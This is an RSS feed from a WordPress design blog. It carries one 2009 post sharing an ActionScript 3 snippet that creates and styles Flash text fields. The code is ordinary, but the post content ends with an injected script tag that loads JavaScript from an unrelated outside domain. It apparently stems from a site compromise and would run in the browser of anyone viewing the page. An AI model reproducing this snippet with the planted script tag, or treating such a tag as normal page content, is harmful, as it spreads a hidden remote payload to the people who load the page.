<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Official Design and Development Resource of ThornyRabbit &#187; Function</title>
	<atom:link href="http://blog.thornyrabbit.com/tag/function/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.thornyrabbit.com</link>
	<description>because we love</description>
	<lastBuildDate>Fri, 19 Mar 2010 16:55:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Easy re-usable function to creat customisable text fields on the fly.</title>
		<link>http://blog.thornyrabbit.com/2009/04/easy-re-usable-function-to-creat-customisable-text-fields-on-the-fly/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/easy-re-usable-function-to-creat-customisable-text-fields-on-the-fly/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:24:19 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Function]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[Text]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=207</guid>
		<description><![CDATA[Re-usable function allowing one to quickly create text fields dynamically as needed. Saves time.]]></description>
			<content:encoded><![CDATA[<p>var inputAddressTextField:TextField = new TextField();</p>
<p>genericTextField(inputAddressTextField, 50 , 4, 200 , 20 , true, 0xcc0000 , true, 0xcc99ff , true , 0xffffff); </p>
<p>//obj,x,y,width,height,bg,bgColor,border,borderColor,selectable,textColor</p>
<p>//NOTE: just use 0 (zero) for bg and border color if false, and for sizes if autosizing</p>
<p>inputAddressTextField.type = TextFieldType.INPUT; //any specifics</p>
<p>header.addChild(inputAddressTextField);</p>
<p>formatTextStyle(inputAddressTextField , 14)</p>
<p>private function genericTextField(whichField:TextField , xpos:Number, ypos:Number , fieldWidth:Number , fieldHeight:Number , bgBool:Boolean, bgColor:uint , borderBool:Boolean , borderColor:uint , selectableBool:Boolean , txtColor:uint){</p>
<p>whichField.x = xpos</p>
<p>whichField.y = ypos;</p>
<p>whichField.width = fieldWidth;</p>
<p>whichField.height = fieldHeight;</p>
<p>whichField.background = bgBool;</p>
<p>whichField.backgroundColor = bgColor;</p>
<p>whichField.border = borderBool;</p>
<p>whichField.borderColor = borderColor;</p>
<p>whichField.selectable = selectableBool;</p>
<p>whichField.textColor = txtColor;</p>
<p>}//genericTextField</p>
<p> </p>
<p>private function formatTextStyle(whichField:TextField , txtSize:Number):void{ //Set the stylesheet property before setting the content.</p>
<p>var format:TextFormat = new TextFormat(); //should have separate formatting function</p>
<p>format.size = txtSize;</p>
<p>format.font = &#8220;_sans&#8221;;</p>
<p>format.align = TextFormatAlign.LEFT;</p>
<p>whichField.defaultTextFormat = format;</p>
<p>}//addStyleSheet<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/easy-re-usable-function-to-creat-customisable-text-fields-on-the-fly/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
